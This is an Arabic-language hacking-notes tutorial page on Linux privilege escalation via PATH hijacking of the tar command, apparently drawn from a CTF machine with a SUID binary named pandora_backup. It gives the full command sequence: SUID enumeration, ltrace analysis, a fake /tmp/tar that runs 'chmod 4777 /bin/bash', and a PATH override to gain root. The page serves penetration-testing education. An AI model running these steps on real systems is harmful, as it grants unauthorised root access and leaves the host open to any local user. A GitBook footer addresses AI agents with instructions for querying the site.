> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/path-hijacking/path-hijacking-tar-linux-privilege-escalation.md).

# اختطاف PATH (tar) - تصعيد امتيازات لينكس

## ما هو

يستغل اختطاف PATH البرامج أو البرامج النصية ذات الامتيازات التي تستدعي الأوامر بدون مسارات مطلقة. إذا كان المهاجم يتحكم في دليل يسبق في `PATH`، يمكن للعملية ذات الامتيازات تنفيذ الملف الثنائي للمهاجم. تركز هذه الصفحة تحديدًا على **اختطاف PATH (tar)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## أمثلة

**البحث الثنائي مع أذونات SUID**

```bash
find / -perm -4000 2>/dev/null
```

النتيجة: تم العثور على ملف ثنائي مثير للاهتمام:/ /\&#xNAN;**`/usr/bin/pandora_backup`**.

<figure><img src="/files/2e9b11ea0e3c6d0b0293cd47243c68e4b3d3842c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/16ffa1aa9f68bec0b26b3116a713a2b68b6e1512" alt=""><figcaption></figcaption></figure>

**تحليل الثنائي باستخدام `ltrace`**

لفهم كيفية عمل الملف الثنائي، استخدمنا **`ltrace`** (أداة لتتبع استدعاءات النظام) لمراقبة استدعاءات النظام التي أجراها هذا الملف الثنائي:

```bash
ltrace /usr/bin/pandora_backup
```

مكّننا ذلك من العثور على أن الملف الثنائي نفّذ **`tar`** الأمر دون استخدام مسار مطلق للملف التنفيذي، مما يخلق ثغرة محتملة. بعبارة أخرى، إذا قمنا بتعديل **`PATH`** ليتضمن دليلاً يحتوي على ملف تنفيذي خبيث يسمى `tar`، فسيتم تنفيذه بدلاً من الأصل.

<figure><img src="/files/52fc6160f85f0816a70ce6de99c258c7a74fe7eb" alt=""><figcaption></figcaption></figure>

**العملية عبر تحويل PATH**

**تم إنشاء `tar` الملف:** أنشأنا ملفًا باسم `tar` في `/tmp/` الدليل مع أذونات التنفيذ **SUID**. يحتوي هذا الملف على أمر لفتح غلاف bash بامتيازات مرتفعة:

```bash
chmod 4777 /bin/bash
```

**تغيير المتغير `PATH`:** لفرض استخدام النظام لنسختنا الخبيثة من `tar`، قمنا بتعديل المتغير `PATH` لإعطاء الأولوية للدليل `/tmp/`

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="/files/e2006ea79474e7024cf871129d36051e2c62f1ba" alt=""><figcaption></figcaption></figure>

**تنفيذ الملف الثنائي الضعيف:** بعد تعديل `PATH`، قمنا بتنفيذ الملف الثنائي **`pandora_backup`**:

<figure><img src="/files/2c2ec0d0802766aa52138dd71b8b99e24971f727" alt=""><figcaption></figcaption></figure>

بفضل تنفيذ نسختنا المعدلة من `tar`، تم فتح صدفة Bash بامتيازات مرتفعة، مما منحنا `root` الوصول.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/path-hijacking/path-hijacking-tar-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
